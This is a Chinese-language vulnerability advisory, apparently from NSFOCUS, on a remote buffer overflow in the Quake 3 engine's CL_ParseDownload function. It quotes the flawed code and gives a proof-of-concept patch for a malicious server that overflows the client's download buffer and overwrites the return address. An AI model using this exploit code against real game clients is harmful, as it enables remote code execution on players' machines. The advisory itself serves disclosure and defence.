首页 -> 安全研究

安全研究

安全漏洞
Quake 3引擎CL_ParseDownload远程缓冲区溢出漏洞

发布日期:2006-06-05
更新日期:2006-06-05

受影响系统:
id Software Quake 3 Engine <= 1.32c
Icculus.org Quake 3 <= revision 795
描述:
BUGTRAQ  ID: 18271

Quake 3引擎是ID Software(http://www.idsoftware.com) 开发的游戏引擎,很多游戏都在使用。

Quake 3引擎对用户命令的处理上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

Quake 3引擎的code/client/cl_parse.c文件中CL_ParseDownload函数用于处理从服务器接收的下载命令(svc_download)。这个函数使用服务器发送的有符号16位数字将网络中的原始数据拷贝到16384(MAX_MSGLEN)字节的数据缓冲区:

void CL_ParseDownload ( msg_t *msg ) {
    int     size;
    unsigned char data[MAX_MSGLEN];
    ...
    size = MSG_ReadShort ( msg );
    if (size > 0)
        MSG_ReadData( msg, data, size );
    ...

Quake 3所处理的重组报文最多可为16384字节,但攻击者可通过huffman压缩绕过这个限制,发送特制的svc_download命令触发缓冲区溢出,导致执行任意指令。

<*来源:Luigi Auriemma (aluigi@pivx.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114952707108553&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

将以下代码拷贝到code/server/sv_client.c文件中大约575行的“// send the gamestate”标注后:

    // send the gamestate
    int     i;
    MSG_WriteByte( &msg, svc_download );
    MSG_WriteShort( &msg, -1 );         // block != 0, for fast return
    MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
    for(i = 0; i < 16384; i++) {        // overwrite the data buffer
        MSG_WriteByte(&msg, 0x00);      // 0x00 for saving space
    }
    for(i = 0; i < 32; i++) {           // do the rest of the job
        MSG_WriteByte(&msg, 'a');       // return address: 0x61616161
    }
    SV_SendMessageToClient( &msg, client );
    return;

建议:
厂商补丁:

id Software
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.idsoftware.com/

Icculus.org
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.icculus.org/quake3/

浏览次数:2733
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障